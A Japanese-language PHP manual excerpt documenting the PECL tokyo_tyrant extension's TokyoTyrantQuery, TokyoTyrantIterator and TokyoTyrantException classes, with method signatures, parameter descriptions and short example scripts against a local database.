(PECL tokyo_tyrant >= 0.1.0)

はじめに

このクラスは、テーブルデータベースへの問い合わせに使用します。

クラス概要

TokyoTyrantQuery implements Iterator {
/* メソッド */
public addCond ( string $name , int $op , string $expr ) : mixed
public __construct ( TokyoTyrantTable $table )
public count ( ) : int
public current ( ) : array
public hint ( ) : string
public key ( ) : string
public metaSearch ( array $queries , int $type ) : array
public next ( ) : array
public out ( ) : TokyoTyrantQuery
public rewind ( ) : bool
public search ( ) : array
public setLimit ( int $max = ? , int $skip = ? ) : mixed
public setOrder ( string $name , int $type ) : mixed
public valid ( ) : bool
}

目次

  • TokyoTyrantQuery::addCond — 条件をクエリに追加する
  • TokyoTyrantQuery::__construct — 新しいクエリを作成する
  • TokyoTyrantQuery::count — レコードを数える
  • TokyoTyrantQuery::current — 現在の要素を返す
  • TokyoTyrantQuery::hint — クエリのヒント文字列を取得する
  • TokyoTyrantQuery::key — 現在のキーを返す
  • TokyoTyrantQuery::metaSearch — 複数のクエリからレコードを取得する
  • TokyoTyrantQuery::next — イテレータを次のエントリに移動する
  • TokyoTyrantQuery::out — クエリに基づいてレコードを削除する
  • TokyoTyrantQuery::rewind — イテレータを巻き戻す
  • TokyoTyrantQuery::search — レコードを検索する
  • TokyoTyrantQuery::setLimit — 結果を制限する
  • TokyoTyrantQuery::setOrder — 結果を並べ替える
  • TokyoTyrantQuery::valid — 現在のアイテムの有効性をチェックする

User Contributed Notes

There are no user contributed notes for this page.


条件をクエリに追加する

  • ≪ TokyoTyrantQuery
  • TokyoTyrantQuery::__construct ≫
  • PHP Manual
  • TokyoTyrantQuery
  • 条件をクエリに追加する

TokyoTyrantQuery::addCond

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::addCond — 条件をクエリに追加する

説明

public TokyoTyrantQuery::addCond ( string $name , int $op , string $expr ) : mixed

条件をクエリに追加します。 条件とは、たとえば「ある式にマッチするすべてのキーを取得する」 といったものです。

パラメータ

name

条件で使うカラムの名前。

op

演算子。TokyoTyrant::RDBQC_* 定数のいずれか。

expr

式。

返り値

このメソッドは現在のオブジェクトを返します。失敗した場合は TokyoTyrantException をスローします。

例

例1 TokyoTyrantQuery::addCond() の例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* 行を追加します */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "not here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* 新しいクエリオブジェクトを取得します */
$query = $tt->getQuery();

/* 検索条件を追加します */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* 検索結果を出力します */
var_dump($query->search());
?>

上の例の出力は以下となります。

array(2) {
  [1]=>
  array(2) {
    ["column1"]=>
    string(9) "some data"
    ["column2"]=>
    string(14) "something here"
  }
  [4]=>
  array(2) {
    ["column45"]=>
    string(11) "random data"
    ["column2"]=>
    string(25) "something along the lines"
  }
}

参考

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


新しいクエリを作成する

  • ≪ TokyoTyrantQuery::addCond
  • TokyoTyrantQuery::count ≫
  • PHP Manual
  • TokyoTyrantQuery
  • 新しいクエリを作成する

TokyoTyrantQuery::__construct

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::__construct — 新しいクエリを作成する

説明

public TokyoTyrantQuery::__construct ( TokyoTyrantTable $table )

新しいクエリオブジェクトを作成します。

パラメータ

table

アクティブなデータベースに接続している TokyoTyrantTable オブジェクト。

返り値

新しい TokyoTyrantQuery オブジェクトを返します。エラー時には TokyoTyrantException をスローします。

例

例1 TokyoTyrantQuery::__construct() の例

<?php
$tt = new TokyoTyrantTable("localhost", 1979);

$query = new TokyoTyrantQuery($tt);

/* $query を使って何かをします */
?>

参考

  • TokyoTyrantTable::getQuery() - クエリオブジェクトを取得する

User Contributed Notes

There are no user contributed notes for this page.


レコードを数える

  • ≪ TokyoTyrantQuery::__construct
  • TokyoTyrantQuery::current ≫
  • PHP Manual
  • TokyoTyrantQuery
  • レコードを数える

TokyoTyrantQuery::count

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TokyoTyrantQuery::count — レコードを数える

説明

public TokyoTyrantQuery::count ( ) : int

クエリが返すレコードの数を返します。

パラメータ

この関数にはパラメータはありません。

返り値

マッチした行の数を返します。エラー時には TokyoTyrantException をスローします。

例

例1 TokyoTyrantQuery::count() の例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* 行を追加します */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "not here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* 新しいクエリオブジェクトを取得します */
$query = $tt->getQuery();

/* 検索条件を追加します */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* 結果を数えます */
var_dump($query->count());
?>

上の例の出力は以下となります。

int(2)

参考

  • TokyoTyrantQuery::out() - クエリに基づいてレコードを削除する
  • TokyoTyrantQuery::search() - レコードを検索する
  • TokyoTyrantQuery::metaSearch() - 複数のクエリからレコードを取得する

User Contributed Notes

There are no user contributed notes for this page.


現在の要素を返す

  • ≪ TokyoTyrantQuery::count
  • TokyoTyrantQuery::hint ≫
  • PHP Manual
  • TokyoTyrantQuery
  • 現在の要素を返す

TokyoTyrantQuery::current

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::current — 現在の要素を返す

説明

public TokyoTyrantQuery::current ( ) : array

現在の要素を返します。Iterator インターフェイスを実装したものです。

パラメータ

この関数にはパラメータはありません。

返り値

現在の行を返します。

例

例1 TokyoTyrantQuery のイテレータの例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* 行を追加します */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* 新しいクエリオブジェクトを取得します */
$query = $tt->getQuery();

/* 検索条件を追加します */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* 結果を反復処理します */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

pk: 1, columns: 2
pk: 4, columns: 2

参考

  • TokyoTyrantQuery::addCond() - 条件をクエリに追加する

User Contributed Notes

There are no user contributed notes for this page.


クエリのヒント文字列を取得する

  • ≪ TokyoTyrantQuery::current
  • TokyoTyrantQuery::key ≫
  • PHP Manual
  • TokyoTyrantQuery
  • クエリのヒント文字列を取得する

TokyoTyrantQuery::hint

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TokyoTyrantQuery::hint — クエリのヒント文字列を取得する

説明

public TokyoTyrantQuery::hint ( ) : string

クエリのヒント文字列を取得します。 ヒント文字列には、実行されたクエリについての情報が含まれています。 たとえば MySQL の EXPLAIN ステートメントのようなものです。

パラメータ

この関数にはパラメータはありません。

返り値

常に文字列を返します。

例

例1 TokyoTyrantQuery::hint の例

<?php
$tt = new TokyoTyrantTable("localhost", 1979);
$tt->vanish();

for ($i = 0; $i < 11; $i++) {
     $tt->put(null, array('a_col' => 'a' . $i, 'b_col' => 'b' . $i));
}

$query = $tt->getQuery();
$query->addCond('a_col', TokyoTyrant::RDBQC_STRBW, 'a');

$query->search();
var_dump($query->hint());
?>

上の例の出力は、 たとえば以下のようになります。

string(72) "
scanning the whole table
result set size: 11
leaving the natural order
"

参考

  • TokyoTyrantQuery::addCond() - 条件をクエリに追加する

User Contributed Notes

There are no user contributed notes for this page.


現在のキーを返す

  • ≪ TokyoTyrantQuery::hint
  • TokyoTyrantQuery::metaSearch ≫
  • PHP Manual
  • TokyoTyrantQuery
  • 現在のキーを返す

TokyoTyrantQuery::key

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::key — 現在のキーを返す

説明

public TokyoTyrantQuery::key ( ) : string

現在のキーを返します。Iterator インターフェイスを実装したものです。

パラメータ

この関数にはパラメータはありません。

返り値

現在のキーを返します。エラー時には TokyoTyrantException をスローします。

例

例1 TokyoTyrantQuery のイテレータの例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* 行を追加します */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* 新しいクエリオブジェクトを取得します */
$query = $tt->getQuery();

/* 検索条件を追加します */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* 結果を反復処理します */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

pk: 1, columns: 2
pk: 4, columns: 2

参考

  • TokyoTyrantQuery::addCond() - 条件をクエリに追加する

User Contributed Notes

There are no user contributed notes for this page.


複数のクエリからレコードを取得する

  • ≪ TokyoTyrantQuery::key
  • TokyoTyrantQuery::next ≫
  • PHP Manual
  • TokyoTyrantQuery
  • 複数のクエリからレコードを取得する

TokyoTyrantQuery::metaSearch

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TokyoTyrantQuery::metaSearch — 複数のクエリからレコードを取得する

説明

public TokyoTyrantQuery::metaSearch ( array $queries , int $type ) : array

複数のクエリをデータベース上で実行し、マッチするレコードを返します。 現在のオブジェクトは常に、検索結果の一番左側のオブジェクトとなります。

パラメータ

queries

TokyoTyrantQuery オブジェクトの配列。

type

TokyoTyrant::RDBMS_* 定数のいずれか。

返り値

マッチする行を返します。エラー時には TokyoTyrantException をスローします。

例

例1 TokyoTyrantQuery::metaSearch() の例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* テストデータを追加します */
$tt->put('cherry',     array('color' => 'red'));
$tt->put('strawberry', array('color' => 'red'));
$tt->put('apple',      array('color' => 'green'));
$tt->put('lemon',      array('color' => 'yellow'));

/* 最初のクエリ */
$query = $tt->getQuery();
$query->addCond('color', TokyoTyrant::RDBQC_STREQ, 'red')->setOrder('color', TokyoTyrant::RDBQO_STRASC);

/* 次のクエリ */
$query1 = $tt->getQuery();
$query1->addCond('color', TokyoTyrant::RDBQC_STREQ, 'yellow');

/* ふたつのクエリの和集合を取得します */
var_dump($query->metaSearch(array($query1), TokyoTyrant::RDBMS_UNION));
?>

上の例の出力は以下となります。

array(3) {
  ["cherry"]=>
  array(1) {
    ["color"]=>
    string(3) "red"
  }
  ["strawberry"]=>
  array(1) {
    ["color"]=>
    string(3) "red"
  }
  ["lemon"]=>
  array(1) {
    ["color"]=>
    string(6) "yellow"
  }
}

参考

  • TokyoTyrantQuery::search() - レコードを検索する

User Contributed Notes

There are no user contributed notes for this page.


イテレータを次のエントリに移動する

  • ≪ TokyoTyrantQuery::metaSearch
  • TokyoTyrantQuery::out ≫
  • PHP Manual
  • TokyoTyrantQuery
  • イテレータを次のエントリに移動する

TokyoTyrantQuery::next

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::next — イテレータを次のエントリに移動する

説明

public TokyoTyrantQuery::next ( ) : array

結果セットの次の結果を返します。Iterator インターフェイスを実装したものです。

パラメータ

この関数にはパラメータはありません。

返り値

次の行を返します。エラー時には TokyoTyrantException をスローします。

例

例1 TokyoTyrantQuery のイテレータの例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* 行を追加します */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* 新しいクエリオブジェクトを取得します */
$query = $tt->getQuery();

/* 検索条件を追加します */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* 結果を反復処理します */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

pk: 1, columns: 2
pk: 4, columns: 2

参考

  • TokyoTyrantQuery::addCond() - 条件をクエリに追加する

User Contributed Notes

There are no user contributed notes for this page.


クエリに基づいてレコードを削除する

  • ≪ TokyoTyrantQuery::next
  • TokyoTyrantQuery::rewind ≫
  • PHP Manual
  • TokyoTyrantQuery
  • クエリに基づいてレコードを削除する

TokyoTyrantQuery::out

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::out — クエリに基づいてレコードを削除する

説明

public TokyoTyrantQuery::out ( ) : TokyoTyrantQuery

クエリにマッチするすべてのレコードを削除します。 検索と同じように動作しますが、結果を返すのではなく結果を削除します。

パラメータ

この関数にはパラメータはありません。

返り値

このメソッドは現在のオブジェクトを返します。失敗した場合は TokyoTyrantException をスローします。

例

例1 TokyoTyrantQuery::out() の例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* 行を追加します */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* 新しいクエリオブジェクトを取得します */
$query = $tt->getQuery();

/* 検索条件を追加します */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* マッチするレコードを削除します */
$query->out();
?>

参考

  • TokyoTyrantQuery::addCond() - 条件をクエリに追加する

User Contributed Notes

There are no user contributed notes for this page.


イテレータを巻き戻す

  • ≪ TokyoTyrantQuery::out
  • TokyoTyrantQuery::search ≫
  • PHP Manual
  • TokyoTyrantQuery
  • イテレータを巻き戻す

TokyoTyrantQuery::rewind

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::rewind — イテレータを巻き戻す

説明

public TokyoTyrantQuery::rewind ( ) : bool

結果セットを巻き戻し、クエリをまだ実行していない場合は実行します。 Iterator インターフェイスを実装したものです。

パラメータ

この関数にはパラメータはありません。

返り値

true を返します。

例

例1 TokyoTyrantQuery のイテレータの例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* 行を追加します */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* 新しいクエリオブジェクトを取得します */
$query = $tt->getQuery();

/* 検索条件を追加します */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* 結果を反復処理します */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

pk: 1, columns: 2
pk: 4, columns: 2

参考

  • TokyoTyrantQuery::addCond() - 条件をクエリに追加する

User Contributed Notes

There are no user contributed notes for this page.


レコードを検索する

  • ≪ TokyoTyrantQuery::rewind
  • TokyoTyrantQuery::setLimit ≫
  • PHP Manual
  • TokyoTyrantQuery
  • レコードを検索する

TokyoTyrantQuery::search

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::search — レコードを検索する

説明

public TokyoTyrantQuery::search ( ) : array

テーブルデータベース上で検索を実行します。 マッチしたレコードを含む、配列の配列を返します。 返される配列の最初のレベルにはデータの主キーが、 そしてその次のレベルに行のデータが格納されます。

パラメータ

この関数にはパラメータはありません。

返り値

マッチした行を返します。エラー時には TokyoTyrantException をスローします。

例

例1 TokyoTyrantQuery::search() の例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* 行を追加します */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "not here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* 新しいクエリオブジェクトを取得します */
$query = $tt->getQuery();

/* 検索条件を追加します */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* 検索結果を出力します */
var_dump($query->search());
?>

上の例の出力は以下となります。

array(2) {
  [1]=>
  array(2) {
    ["column1"]=>
    string(9) "some data"
    ["column2"]=>
    string(14) "something here"
  }
  [4]=>
  array(2) {
    ["column45"]=>
    string(11) "random data"
    ["column2"]=>
    string(25) "something along the lines"
  }
}

参考

  • TokyoTyrantQuery::out() - クエリに基づいてレコードを削除する
  • TokyoTyrantQuery::metaSearch() - 複数のクエリからレコードを取得する

User Contributed Notes

There are no user contributed notes for this page.


結果を制限する

  • ≪ TokyoTyrantQuery::search
  • TokyoTyrantQuery::setOrder ≫
  • PHP Manual
  • TokyoTyrantQuery
  • 結果を制限する

TokyoTyrantQuery::setLimit

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::setLimit — 結果を制限する

説明

public TokyoTyrantQuery::setLimit ( int $max = ? , int $skip = ? ) : mixed

クエリが返す結果の最大数を設定します。

パラメータ

max

レコードの最大数。デフォルトは -1 です。

skip

先頭から何件のレコードを読み飛ばすか。デフォルトは -1 です。

返り値

このメソッドは現在のオブジェクトを返します。失敗した場合は TokyoTyrantException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


結果を並べ替える

  • ≪ TokyoTyrantQuery::setLimit
  • TokyoTyrantQuery::valid ≫
  • PHP Manual
  • TokyoTyrantQuery
  • 結果を並べ替える

TokyoTyrantQuery::setOrder

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::setOrder — 結果を並べ替える

説明

public TokyoTyrantQuery::setOrder ( string $name , int $type ) : mixed

クエリの並び順を設定します。

パラメータ

name

並べ替えを行うカラム名。

type

type には、次の定数のいずれかを指定します。

  • TokyoTyrant::RDBQO_STRASC - 文字列の昇順
  • TokyoTyrant::RDBQO_STRDESC - 文字列の降順
  • TokyoTyrant::RDBQO_NUMASC - 数値の昇順
  • TokyoTyrant::RDBQO_NUMDESC - 数値の降順

返り値

このメソッドは、現在のオブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


現在のアイテムの有効性をチェックする

  • ≪ TokyoTyrantQuery::setOrder
  • TokyoTyrantIterator ≫
  • PHP Manual
  • TokyoTyrantQuery
  • 現在のアイテムの有効性をチェックする

TokyoTyrantQuery::valid

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::valid — 現在のアイテムの有効性をチェックする

説明

public TokyoTyrantQuery::valid ( ) : bool

現在のアイテムが有効かどうかを調べます。Iterator インターフェイスを実装したものです。

パラメータ

この関数にはパラメータはありません。

返り値

現在のアイテムが有効な場合に true、そうでない場合に false を返します。

例

例1 TokyoTyrantQuery のイテレータの例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* 行を追加します */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* 新しいクエリオブジェクトを取得します */
$query = $tt->getQuery();

/* 検索条件を追加します */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* 結果を反復処理します */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

pk: 1, columns: 2
pk: 4, columns: 2

参考

  • TokyoTyrantQuery::addCond() - 条件をクエリに追加する

User Contributed Notes

There are no user contributed notes for this page.


TokyoTyrantIterator クラス

(PECL tokyo_tyrant >= 0.2.0)

はじめに

TokyoTyrant および TokyoTyrantTable オブジェクト用のイテレータです。 データベース内のすべてのキーおよび値を反復処理します。 TokyoTyrantIterator はバージョン 0.2.0 で追加されました。

クラス概要

TokyoTyrantIterator implements Iterator {
/* メソッド */
public __construct ( mixed $object )
public current ( ) : mixed
public key ( ) : mixed
public next ( ) : mixed
public rewind ( ) : void
public valid ( ) : bool
/* 継承したメソッド */
public TokyoTyrant::add ( string $key , int|float $increment , int $type = 0 ) : int|float
public TokyoTyrant::connect ( string $host , int $port = TokyoTyrant::RDBDEF_PORT , array $options = ? ) : TokyoTyrant
public TokyoTyrant::connectUri ( string $uri ) : TokyoTyrant
public TokyoTyrant::__construct ( string $host = ? , int $port = TokyoTyrant::RDBDEF_PORT , array $options = ? )
public TokyoTyrant::copy ( string $path ) : TokyoTyrant
public TokyoTyrant::ext ( string $name , int $options , string $key , string $value ) : string
public TokyoTyrant::fwmKeys ( string $prefix , int $max_recs ) : array
public TokyoTyrant::get ( mixed $keys ) : mixed
public TokyoTyrant::getIterator ( ) : TokyoTyrantIterator
public TokyoTyrant::num ( ) : int
public TokyoTyrant::out ( mixed $keys ) : TokyoTyrant
public TokyoTyrant::put ( mixed $keys , string $value = NULL ) : TokyoTyrant
public TokyoTyrant::putCat ( mixed $keys , string $value = ? ) : TokyoTyrant
public TokyoTyrant::putKeep ( mixed $keys , string $value = ? ) : TokyoTyrant
public TokyoTyrant::putNr ( mixed $keys , string $value = NULL ) : TokyoTyrant
public TokyoTyrant::putShl ( string $key , string $value , int $width ) : mixed
public TokyoTyrant::restore ( string $log_dir , int $timestamp , bool $check_consistency = true ) : mixed
public TokyoTyrant::setMaster ( string $host , int $port , int $timestamp , bool $check_consistency = true ) : mixed
public TokyoTyrant::size ( string $key ) : int
public TokyoTyrant::stat ( ) : array
public TokyoTyrant::sync ( ) : mixed
public TokyoTyrant::tune ( float $timeout , int $options = TokyoTyrant::RDBT_RECON ) : TokyoTyrant
public TokyoTyrant::vanish ( ) : mixed
}

目次

  • TokyoTyrantIterator::__construct — イテレータを作成する
  • TokyoTyrantIterator::current — 現在の値を取得する
  • TokyoTyrantIterator::key — 現在のキーを返す
  • TokyoTyrantIterator::next — 次のキーに移動する
  • TokyoTyrantIterator::rewind — イテレータを巻き戻す
  • TokyoTyrantIterator::valid — イテレータが有効かどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


イテレータを作成する

  • ≪ TokyoTyrantIterator
  • TokyoTyrantIterator::current ≫
  • PHP Manual
  • TokyoTyrantIterator
  • イテレータを作成する

TokyoTyrantIterator::__construct

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::__construct — イテレータを作成する

説明

public TokyoTyrantIterator::__construct ( mixed $object )

新しい TokyoTyrantIterator オブジェクトを作成します。 ひとつの接続に対して複数のイテレータを作ることもできますが、 その場合、すべてのアイテムが走査されることは保証できません。 object パラメータには TokyoTyrant あるいは TokyoTyrantTable のインスタンスを指定します。

パラメータ

この関数にはパラメータはありません。

返り値

イテレータの初期化に失敗した場合に例外をスローします。

例

例1 TokyoTyrantIterator::__construct() の例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* put に null を渡して新しい uid を生成します */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* イテレータを作成します */
$it = new TokyoTyrantIterator($tt);

foreach ($it as $value) {
    var_dump($value);
}
?>

上の例の出力は以下となります。

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}

参考

  • TokyoTyrantIterator::key() - 現在のキーを返す
  • TokyoTyrantIterator::current() - 現在の値を取得する
  • TokyoTyrantIterator::next() - 次のキーに移動する
  • TokyoTyrantIterator::rewind() - イテレータを巻き戻す
  • TokyoTyrantIterator::key() - 現在のキーを返す

User Contributed Notes

There are no user contributed notes for this page.


現在の値を取得する

  • ≪ TokyoTyrantIterator::__construct
  • TokyoTyrantIterator::key ≫
  • PHP Manual
  • TokyoTyrantIterator
  • 現在の値を取得する

TokyoTyrantIterator::current

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::current — 現在の値を取得する

説明

public TokyoTyrantIterator::current ( ) : mixed

反復処理中の現在の値を返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に現在の値、失敗した場合に false を返します。

参考

  • TokyoTyrantIterator::valid() - イテレータが有効かどうかを調べる
  • TokyoTyrantIterator::key() - 現在のキーを返す
  • TokyoTyrantIterator::next() - 次のキーに移動する
  • TokyoTyrantIterator::rewind() - イテレータを巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


現在のキーを返す

  • ≪ TokyoTyrantIterator::current
  • TokyoTyrantIterator::next ≫
  • PHP Manual
  • TokyoTyrantIterator
  • 現在のキーを返す

TokyoTyrantIterator::key

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::key — 現在のキーを返す

説明

public TokyoTyrantIterator::key ( ) : mixed

現在のキーを返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に現在のキー、失敗した場合に false を返します。

参考

  • TokyoTyrantIterator::valid() - イテレータが有効かどうかを調べる
  • TokyoTyrantIterator::current() - 現在の値を取得する
  • TokyoTyrantIterator::next() - 次のキーに移動する
  • TokyoTyrantIterator::rewind() - イテレータを巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


次のキーに移動する

  • ≪ TokyoTyrantIterator::key
  • TokyoTyrantIterator::rewind ≫
  • PHP Manual
  • TokyoTyrantIterator
  • 次のキーに移動する

TokyoTyrantIterator::next

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::next — 次のキーに移動する

説明

public TokyoTyrantIterator::next ( ) : mixed

反復処理中に次のキーに移動し、その値を返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に次の値、失敗した場合に false を返します。

参考

  • TokyoTyrantIterator::valid() - イテレータが有効かどうかを調べる
  • TokyoTyrantIterator::key() - 現在のキーを返す
  • TokyoTyrantIterator::current() - 現在の値を取得する
  • TokyoTyrantIterator::rewind() - イテレータを巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


イテレータを巻き戻す

  • ≪ TokyoTyrantIterator::next
  • TokyoTyrantIterator::valid ≫
  • PHP Manual
  • TokyoTyrantIterator
  • イテレータを巻き戻す

TokyoTyrantIterator::rewind

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::rewind — イテレータを巻き戻す

説明

public TokyoTyrantIterator::rewind ( ) : void

イテレータを巻き戻して新たに反復処理を始められるようにします。 foreach の最初に自動的にコールされます。

パラメータ

この関数にはパラメータはありません。

返り値

イテレータの初期化に失敗した場合に TokyoTyrantException をスローします。

参考

  • TokyoTyrantIterator::valid() - イテレータが有効かどうかを調べる
  • TokyoTyrantIterator::current() - 現在の値を取得する
  • TokyoTyrantIterator::next() - 次のキーに移動する
  • TokyoTyrantIterator::rewind()

User Contributed Notes

There are no user contributed notes for this page.


イテレータが有効かどうかを調べる

  • ≪ TokyoTyrantIterator::rewind
  • TokyoTyrantException ≫
  • PHP Manual
  • TokyoTyrantIterator
  • イテレータが有効かどうかを調べる

TokyoTyrantIterator::valid

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::valid — イテレータが有効かどうかを調べる

説明

public TokyoTyrantIterator::valid ( ) : bool

内部ポインタが有効な要素を指しているかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

現在のアイテムが有効な場合に true、そうでない場合に false を返します。

参考

  • TokyoTyrantIterator::key() - 現在のキーを返す
  • TokyoTyrantIterator::current() - 現在の値を取得する
  • TokyoTyrantIterator::next() - 次のキーに移動する
  • TokyoTyrantIterator::rewind() - イテレータを巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


TokyoTyrantException クラス

(PECL tokyo_tyrant >= 0.1.0)

はじめに

TokyoTyrantException

クラス概要

tokyotyrantexception extends Exception {
/* プロパティ */
protected int $code ;
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

プロパティ

code

例外コード。これを TokyoTyrant::TTE_* 定数と比較します。

User Contributed Notes

There are no user contributed notes for this page.


日付および時刻関連

  • カレンダー
    • はじめに
    • インストール/設定
    • 定義済み定数
    • カレンダー 関数
  • Date/Time — 日付・時刻
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
